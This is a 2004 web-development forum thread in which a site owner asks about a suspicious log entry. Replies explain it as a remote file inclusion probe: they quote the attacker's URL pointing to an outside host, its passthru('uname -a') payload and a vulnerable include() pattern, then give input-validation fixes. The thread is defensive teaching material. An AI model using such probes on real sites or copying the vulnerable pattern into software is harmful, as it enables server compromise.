SitePoint Sponsor

User Tag List

Page 1 of 2 12 LastLast
Results 1 to 25 of 42
  1. #1
    SitePoint Evangelist
    Join Date
    May 2003
    Posts
    592
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Why would someone do this ??

    Hi,

    As the subject states, I found the following entry in the web server logs, and can't figure out why someone would do this ???

    Code:
     Host: 217.160.129.159	  Url: /product_info.php?products_id=http://217.59.104.226/  	Http Code : 200
     Date: Jun 25 09:21:13 	Http Version: HTTP/1.1" 	Size in Bytes: 24646
     Referer: - 	Agent: curl/7.7.1 (i686-suse-linux) libcurl 7.7.1 (SSL 0.9.6) (ipv6 enabled)
    The usual URL ref would be /product_info.php?products_id=23

    (or any number from 1 to 58)

    The IP's resolve as follows:

    bewegte-bilder.info [217.160.129.159]

    host226-104.pool21759.interbusiness.it [217.59.104.226]

    Any cause for concern ? Should I ban the IP or the agent ??

    Peter

  2. #2
    SitePoint Zealot pionar's Avatar
    Join Date
    Nov 2003
    Location
    Indianapolis
    Posts
    168
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    it's probably a spider looking for vulnerabilities (most likely) or indexing your pages (if it is, it's very confused). The second IP you listed looks dynamic, like from a dialup account.

    I would say ban the IP, but you probably won't see that exact one again. I'd say ban the curl agent (curl is a command-line http agent, like wget), but the agent can always be spoofed.

    If it didn't affect anything, and it's not swamping you (a lot of hits), then ignore it. Maybe put some code into that php script to generate a 404 error on an invalid id code. That'd make this kinda thing easier to track. I get 404s in my logs for weird things, which are obviously trying to compromise the server, though they use Windows and IIS concepts (C:\scripts, etc.) and my servers are all apache/solaris.

  3. #3
    One website at a time mmj's Avatar
    Join Date
    Feb 2001
    Location
    Melbourne Australia
    Posts
    6,282
    Mentioned
    1 Post(s)
    Tagged
    0 Thread(s)
    This is somebody testing your script to see if it was vulnerable to an attack. They are trying to gain access to your server.

    Specifically, if your script does not ensure that the value of products_id is an integer, then you could be vulnerable. The attacker could be checking to see if you've done something like this:

    PHP Code:
    $productid $_REQUEST['product_id'];

    include(
    $productid ".php"); 
    This piece of code, which is relatively common, gives attackers access to run any PHP code they like on your server. The key thing you need to do here is ensure that the $productid variable is not trying anything funny.

    In this case, you could do this:

    PHP Code:
    $productid = (int)$_REQUEST['product_id'];

    include(
    $productid ".php"); 
    Note that you are ensuring $productid is of type int by casting with (int). It's still not an ideal solution, for it assumes that all occurences of x.php in your include directories is safe to run.

    This is the code that the attacker, in this case, was trying to execute on your server:
    PHP Code:
    <? echo "\nbl3" 'bl3 ' passthru("uname -a") ; ?>
    Presumably this script is probably meaningless to you. It's common for people with little understanding of security to just run pre-made scripts on lots of sites "testing" for vulnerabilities (these people are sometimes referred to as script kiddies). If they discover a vulnerability, they may return.

    What do you see when you go to that URL on your site?

    By the way, I must warn you that banning the IP address, as pionar suggests, will not protect you. The only thing that will protect you is if you know that your system is not vulnerable to that type of attack. If you you don't know, then you should get help from a PHP programmer immediately.
    [mmj] My magic jigsaw
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    The Bit Depth Blog Twitter Contact me
    Neon Javascript Framework Jokes Android stuff

  4. #4
    SitePoint Evangelist
    Join Date
    May 2003
    Posts
    592
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Hi,

    Quote Originally Posted by pionar
    it's probably a spider looking for vulnerabilities (most likely) or indexing your pages (if it is, it's very confused). The second IP you listed looks dynamic, like from a dialup account.
    This was the only entry; I'd assume if it was a spider and only one entry, it was the first visit. Passing an IP address to the PHP script is not something that I have seen spiders, or any visitor doing before. It looks highly suspicious.

    Quote Originally Posted by pionar
    I would say ban the IP, but you probably won't see that exact one again. I'd say ban the curl agent (curl is a command-line http agent, like wget), but the agent can always be spoofed.
    If the IP is a single person, okay, but if an IP used by many for dialup, a bit hard to do a blanket ban. The ISP/domain registrar for the first is germany and for the second, Italy.

    There was an entry for 'wget' in the user agent list, from awstats I noticed. As you say though, agent details can be spoofed.

    Quote Originally Posted by pionar
    If it didn't affect anything, and it's not swamping you (a lot of hits), then ignore it. Maybe put some code into that php script to generate a 404 error on an invalid id code. That'd make this kinda thing easier to track. I get 404s in my logs for weird things, which are obviously trying to compromise the server, though they use Windows and IIS concepts (C:\scripts, etc.) and my servers are all apache/solaris.
    Okay, good idea, some sort of trap. Actually the website accepted what was parsed, as you can see, a "200", but yes, something may be easy to do, because if the SQL query can't find what is parsed (a product ID), then it would mean there was, foul play, so to speak.

    Thanks,

    Peter

  5. #5
    One website at a time mmj's Avatar
    Join Date
    Feb 2001
    Location
    Melbourne Australia
    Posts
    6,282
    Mentioned
    1 Post(s)
    Tagged
    0 Thread(s)
    Peter, did you even look at http://217.59.104.226/ ? What I posted above?

    Do you know how about URL wrappers?

    If you do not know what it means, then you need to find out. This affects the security of your site.

    It was much more than "suspicious" - it was an attempted attack. In regarding it as "suspicious", it sounds to me as if you are unaware of the real importance of this.

    I repeat what I said above. Banning their IP address will not protect you. You need to understand whether your site is vulnerable and if so, fix it.
    [mmj] My magic jigsaw
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    The Bit Depth Blog Twitter Contact me
    Neon Javascript Framework Jokes Android stuff

  6. #6
    SitePoint Evangelist
    Join Date
    May 2003
    Posts
    592
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Hi Thomas,

    Sorry for my delay, I have some health problems (CFIDS/ME) and I have to do a bit, rest, and I was only just now going to reply to you.

    Quote Originally Posted by mmj
    Peter, did you even look at http://217.59.104.226/ ?
    Not until now, goodness me, I had absolutely no idea that could be done. I'm very new to PHP (all my previous IT is with application programming), and when I went to that URL I was shocked to say the least. Then a google and I can see how serious this is, the URL is even in a Google search. But again, I had no idea that could be done; I have a LOT to learn.

    What I posted above?
    will do in a few mins.

    Do you know how about URL wrappers?

    If you do not know what it means, then you need to find out. This affects the security of your site.
    No, I don't know about anything like that, quite naive and I do look after a few websites (that's all I can do).

    Will reply to your other post now, thanks for bringing my attention to how serious this is.

    Peter

  7. #7
    SitePoint Evangelist
    Join Date
    May 2003
    Posts
    592
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Hi,

    Quote Originally Posted by mmj
    This is somebody testing your script to see if it was vulnerable to an attack. They are trying to gain access to your server.

    Specifically, if your script does not ensure that the value of products_id is an integer, then you could be vulnerable. The attacker could be checking to see if you've done something like this:

    PHP Code:
     $productid $_REQUEST['product_id'];
     
     include(
    $productid ".php"); 
    This piece of code, which is relatively common, gives attackers access to run any PHP code they like on your server. The key thing you need to do here is ensure that the $productid variable is not trying anything funny.

    In this case, you could do this:

    PHP Code:
     $productid = (int)$_REQUEST['product_id'];
     
     include(
    $productid ".php"); 
    Note that you are ensuring $productid is of type int by casting with (int). It's still not an ideal solution, for it assumes that all occurences of x.php in your include directories is safe to run.
    Fortunately, the code does check for an integer, and I tested what the attacker did, and the site just displayed everything as normal, with a "Product not found!" message.

    The top part of product_info.php is:

    PHP Code:
       require(DIR_WS_LANGUAGES . $language . '/' . FILENAME_PRODUCT_INFO);
     
       $product_check_query = tep_db_query("select count(*) as total from " . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_DESCRIPTION . " pd where p.products_status = '1' and p.products_id = '" . (int)$HTTP_GET_VARS['products_id'] . "' and pd.products_id = p.products_id and pd.language_id = '" . (int)$languages_id . "'");
       $product_check = tep_db_fetch_array($product_check_query);
     ?>
     <!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN">
     <html <?php echo HTML_PARAMS?>>
     <head>
    Alll the first require does is set a load of constants. Now the var "$product_check_query" would return null because doing:

    PHP Code:
     (int)$HTTP_GET_VARS['217.59.104.226'
    would surely not evaluate to true, so I'm fumbling my way through and seeing that the var "$product_check" wouldbe either null,zero, or an empty array ?? In the least, the attempt failed because of what you stated, the code did check for type integer.

    This is the code that the attacker, in this case, was trying to execute on your server:
    PHP Code:
    <? echo "\nbl3" 'bl3 ' passthru("uname -a") ; ?>
    Presumably this script is probably meaningless to you.
    Yes, but I see now, to some degree, how malicious this attack was.


    What do you see when you go to that URL on your site?
    Fortunately, everything looking normal, except no product displayed, a msg up the top "Product not found!"

    By the way, I must warn you that banning the IP address, as pionar suggests, will not protect you. The only thing that will protect you is if you know that your system is not vulnerable to that type of attack. If you don't know, then you should get help from a PHP programmer immediately.
    To be honest, I don't know whether the system is 100% secure, it is an osCommerce site. I have installed everything 'stock/std', but do have several of my own PHP scripts here and there, to check things,etc. I wouldn't know if they were 100% secure though, but no-one knows the filenames, some degree of comfort.

    I always upload the PHP files to the server and the permissions are set to what the server dictates, more than me setting them, mostly they are 644.

    Well, I sure do have a LOT to learn about PHP, it's going to take some time though.

    Thanks a lot,

    Peter

  8. #8
    SitePoint Evangelist
    Join Date
    May 2003
    Posts
    592
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Hi,

    Interestingly, I have been having discussions of late with the web hosts I use. I was concerned because now all emails contain the virtual URL of the webroot path, which of course shows the username.

    I don't want to make any username public and fortunately, the web hosts accomodated my request. The mod was put there by CPanel, apparently it is an effort to track down spammers. That's fine, but never should it be done at the expense of security.

    I also don't like PHP errors going to the browser, again username is displayed, fortunately I have them going to a (secret) log file.

    Peter

  9. #9
    SitePoint Evangelist
    Join Date
    May 2003
    Posts
    592
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Hi,

    Hopefully I'm not getting OT, but does this issue (with what the attackers tried) mean that if a person had this on a website:

    PHP Code:
    <? phpinfo(); ?>
    saved it as http://attackerurl/info.php

    could they then go to my website, and use any php file that they knew existed and do this:

    http://mywebsiteurl/product_info.php...erurl/info.php

    I know it won't return anything in this example, because 'products_id" has to be an integer, but I'm hoping that people can't do this (a phpinfo() ), because they would be able to see my PHP settings, possibly even the username ??

    Yep, I have a lot to learn about this stuff don't I.

    Peter

  10. #10
    SitePoint Zealot bloo_fish's Avatar
    Join Date
    Aug 2003
    Location
    Bucks [Uk]
    Posts
    127
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Ok, now this is a bit strange. I was reading this thread earlier, and it made me think, is my site safe?

    So i started to crack on using some of the techniques here. I have successfully sucured my main two pages, but i just checked my logs and i got a hit from somthing similar to this

    IP Address: 217.160.129.159

    Referred: Unknown
    Page Location: http://www.x.x/x/x/view.php?id=http://217.59.104.226/

    Total Views: 1 % of todays hits: 0.41 %
    Time of Visit: Jun-26-2004 02:40:41

    Browser: curl/7.7.1

    Looks like i'm onto secure that last page, although i tried using that to see what happens and you just get a db error, will change it now and it should be a 404 in about 10 minutes

  11. #11
    SitePoint Evangelist
    Join Date
    May 2003
    Posts
    592
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Hi,

    Good that the replies in this thread have helped me understand just how vulnerable an (insecure) website can be, and good if it has helped other people tighten their security.

    I get the point Thomas made, why ban the IP , because then I'll have to ban all the ones that do it. better to make sure the site is more secure, try a few things myself even (on my own site that is).

    Interesting "bloo_fish" that the source IP is the same (Germany) and the IP where the (hacker) code is sitting is related to an Italian ISP. Does it ever do any good emailing their 'abuse' departments ??

    Thomas certainly has made me realise I need to read up a lot on this and ensure that the website is more secure. Just recently, a CPanel mod is now putting out the 'username' (i.e. the one to log into a website) in emails. Can't say I'm impressed, it was an attempt to find the source of spammers, but has been at the expense of security, in my opinion. I did post a thread on it, asking if other parameters, to identify the 'source' can be used, see it at:

    http://www.sitepoint.com/forums/showthread.php?t=177588

    When I did a Google on string "passthru("uname -a") ", I found some very interesting articles, especiallythis one:

    http://www.megasecurity.org/Exploits...int-port80.txt

    which made me sit up and realise just how vulnerable a site may be. One link from Google also had a small script , a cron job, to do a quick check on the site once a day, and make sure file permissions hadn't changed. No doubt the same could easily be done on number of files and file sizes, and to check datetime stamps.

    I guess there is never too much that can be added/changed to a site to make it more secure, as long as I don't get paranoid in the process.

    Thanks,

    Peter

  12. #12
    FreeBSD The Power to Serve silver trophy pippo's Avatar
    Join Date
    Jul 2001
    Location
    Italy
    Posts
    4,514
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    217.59.104.226 seems to be a static ip,
    or at least a dynamic ip assigned but then the guy never reboot its pc.
    That ip belong to intebusiness.it and I belong to that family too.
    *I'M NOT THAT HACKER*
    I think the guy had an account with tin.it and it's using an adsl plan.

    I'll try to see if I can report that to tin.it
    Mr Andrea
    Former Hosting Team Advisor
    Former Advisor of '03

  13. #13
    SitePoint Evangelist
    Join Date
    May 2003
    Posts
    592
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Hi,

    Quote Originally Posted by pippo
    I'll try to see if I can report that to tin.it
    Thanks, pippo, that will have more effect than me reporting it.

    Peter

  14. #14
    SitePoint Evangelist
    Join Date
    May 2003
    Posts
    592
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Hi,

    Pardon my ignorance, but what exactly will the code do, that the hacker was attempting to use ?

    PHP Code:
    <? echo "\nbl3" 'bl3 ' passthru("uname -a") ; ?>
    Obviously, they are trying to get the username I assume, what is the parm "-a" used for ??

    Peter

  15. #15
    FreeBSD The Power to Serve silver trophy pippo's Avatar
    Join Date
    Jul 2001
    Location
    Italy
    Posts
    4,514
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Man page for uname:
    http://techpubs.sgi.com/library/tpl/...tml&srch=uname
    He is attempting to gain your system machine informations you are running onto and not your username.
    -a means print all infos

    mine gives this:
    Linux debian 2.4.26-1-386 #2 Sat May 1 16:31:24 EST 2004 i686 GNU/Linux

    Also I think that page itself is not doing anything `wrong',
    I mean if the `attack' would have been started from that ip ok you could report it but as it is...it is not doing anything `wrong'.
    Mr Andrea
    Former Hosting Team Advisor
    Former Advisor of '03

  16. #16
    SitePoint Addict Hero Doug's Avatar
    Join Date
    Nov 2003
    Posts
    250
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Will that give information on all usernames for the entire server, or just the one account?

  17. #17
    Employed Again Viflux's Avatar
    Join Date
    May 2003
    Location
    London, On.
    Posts
    1,127
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Quote Originally Posted by Hero Doug
    Will that give information on all usernames for the entire server, or just the one account?
    Read the man page that pippo linked to. It doesn't give any usernames, just information about the system.

  18. #18
    SitePoint Addict Hero Doug's Avatar
    Join Date
    Nov 2003
    Posts
    250
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    I thought I saw someone mention it gave out all the usernames. (Oops)

  19. #19
    SitePoint Evangelist
    Join Date
    May 2003
    Posts
    592
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Hi,

    Quote Originally Posted by Hero Doug
    I thought I saw someone mention it gave out all the usernames. (Oops)
    I did see a lot of other commands that could be used with "passthru" that can do all sorts of things, on a Google search.

    Peter

  20. #20
    SitePoint Enthusiast marcele's Avatar
    Join Date
    May 2004
    Location
    Edmonton
    Posts
    36
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    scopeing out your system

    Yes he is definately trying to scope out your system..

    If he can run passthrough commands then he can easily get /etc/password or shadow password and run a brute force to root your machine.

    Definately time to plug that hole,change all your system passwords, and run some root checkers to see if he has been in already!!

    Also make sure that your server has REGISTER GLOBALS SET TO OFF in your php.ini file.

  21. #21
    SitePoint Evangelist
    Join Date
    May 2003
    Posts
    592
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Hi,

    Quote Originally Posted by marcele
    If he can run passthrough commands then he can easily get /etc/password or shadow password and run a brute force to root your machine.

    Definately time to plug that hole,change all your system passwords, and run some root checkers to see if he has been in already!!
    I'm not the system admin or the administrator for the server, I only do web hosting for a few domains on the server. Do you think it is a matter I should bring to the attention of the web hosts ?

    I get your point though. Although the actual command that was attempted was to simply find out the information for the system (server),which in itself does no harm, the 'way' it was done, hoping to break the PHP script, was malicious. If the passthru had have succeeded, then other passthru commands obviously would be tried.

    Quote Originally Posted by marcele
    Also make sure that your server has REGISTER GLOBALS SET TO OFF in your php.ini file.
    I just checked, it is actually on , for local and master values, but I can modify .htaccess to turn it off, if need be.

    As a few sites run osCommerce, I will have to check and make sure of the impact to the product first, if I go and turn register globals off, I mean.

    Thanks,

    Peter

  22. #22
    SitePoint Evangelist
    Join Date
    May 2003
    Posts
    592
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Hi

    Quote Originally Posted by marcele
    Also make sure that your server has REGISTER GLOBALS SET TO OFF in your php.ini file.
    I have since been informed that setting Register Globals on is perfectly safe, it's only when people write "sloppy" code that it is advisable to turn it off.

    By sloppy code, I mean code that can easily be broken, insecure PHP code.

    Peter

  23. #23
    SitePoint Enthusiast bennettpr's Avatar
    Join Date
    Sep 2002
    Location
    New Zealand
    Posts
    56
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    which is exactly what is trying to be exploited here.

    May I reiterate the comments of many more knowledgable than I. Please check your variables before processing! Ensure that variables fit a specific type (in this case integer) and match what you expect to be sent.

    I find RegExp functions useful in this regard.
    Also the very informative (and oftimes frightening) whitepapers from the Open Web Applications Security Project are well worth reading.

    http://www.owasp.org/
    on the bandwagon.....
    http://bennettpr.blogspot.com

  24. #24
    One website at a time mmj's Avatar
    Join Date
    Feb 2001
    Location
    Melbourne Australia
    Posts
    6,282
    Mentioned
    1 Post(s)
    Tagged
    0 Thread(s)
    Quote Originally Posted by marcele
    Also make sure that your server has REGISTER GLOBALS SET TO OFF in your php.ini file.
    Despite popular opinion, setting register_globals to off does not significantly improve security. It will in some cases of course, but it is no magic bullet. For example, setting register_globals to off will improve security if you have a poorly programmed script that does not initialise variables:

    PHP Code:
    <?php

    // some code goes above here which calculates an offset value

    if (!$firstpage$pagenumber floor($offset 30);

    include(
    "result_$pagenumber.php");

    ?>
    The above code works by assuming that if $pagenumber has not be initialised before, it will default to '' (an empty string). You can see that if it's not the first page, $pagenumber never gets set so we will assume that it's an empty string. register_globals makes this practice extremely dangerous.

    However, while setting register_globals to off will help the above problem, it won't help for the problem we're dealing with in this thread which is validating some input value. For example, the code I originally posted in this thread won't be helped by setting register_globals to off:

    PHP Code:
    $productid $_REQUEST['product_id'];

    include(
    $productid ".php"); 
    Setting register_globals to off will prevent uninitialised variables from being tainted by user input. However, a better way of doing the same thing would be to ensure that no variables are used uninitialised in the first place. You can initialise a variable by setting it an explicit value. Example:

    $string = '';

    Fortunately, there's a really easy way to see whether you've used a variable that hasn't been initialised. Tell error reporting to report everything by including this at the top of the page (or by including an equivalent setting in your php.ini or Apache configuration).

    error_reporting (E_ALL);

    In a poorly designed script this may find hundreds of Notices and you may be discouraged. Just start fixing things until you notice the notices are going away. It may be frustrating and you may be tempted to suppress notices with the '@' operator, but I'd encourage you to fix the problem instead of doing this.

    Remember that neither setting register_globals to off nor making sure that all variables are initialised will solve the problem of validating user input to make sure it's the right type or the value conforms to a certain pattern. This problem cannot be identified automatically and it's up to you to know how it works.
    [mmj] My magic jigsaw
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    The Bit Depth Blog Twitter Contact me
    Neon Javascript Framework Jokes Android stuff

  25. #25
    Web development Company chrisranjana's Avatar
    Join Date
    Jan 2001
    Location
    chennai , tamil nadu , India
    Posts
    705
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Hope you have everything latest and stable installed in your server.
    Chris, Programmer/Developer,
    www.chrisranjana.com


Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •